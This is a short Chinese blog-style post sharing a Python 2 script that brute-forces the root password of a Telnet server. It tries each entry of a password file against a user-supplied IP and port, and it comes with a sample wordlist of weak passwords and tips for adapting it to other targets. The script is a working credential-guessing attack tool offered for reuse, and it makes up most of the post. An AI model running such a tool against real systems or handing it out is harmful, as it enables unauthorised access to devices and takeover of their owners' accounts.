最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。
代码如下:
#encoding=utf-8
import telnetlib
import time
import sys
import os
def do_telnet(Host, Port, username, password, finish):
#连接Telnet服务器
tn = telnetlib.Telnet(Host, Port, timeout=1)
tn.set_debuglevel(3)
#输入登录用户名
tn.read_until("login: ")
tn.write(str(username)+'\n')
# 输入登录密码
tn.read_until("Password: ")
tn.write(str(password)+'\n')
# 判断密码错误提示,如果没有这个提示说明登录成功
if tn.read_until(finish):
print "****** login incorrect!\n"
tn.close();
if __name__=='__main__':
Host = raw_input("IP:") # Telnet服务器IP
Port = raw_input("Port:") # Telnet服务器端口
username = 'root' # 登录用户名
finish = 'incorrect' # 密码错误提示
pw_file = open('.\\pw.txt','r+') #密码文件
Index = 0
print time.asctime(),": ****** begin","\n"
while True:
password = pw_file.readline()
Index +=1;
print Index,time.asctime(),": ****** try","",username,":",password,""
if len(password) == 0:
break;
do_telnet(Host, Port, username, password, finish)
pw_file.close();
root
admin
12345
888888
输出如下:
注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。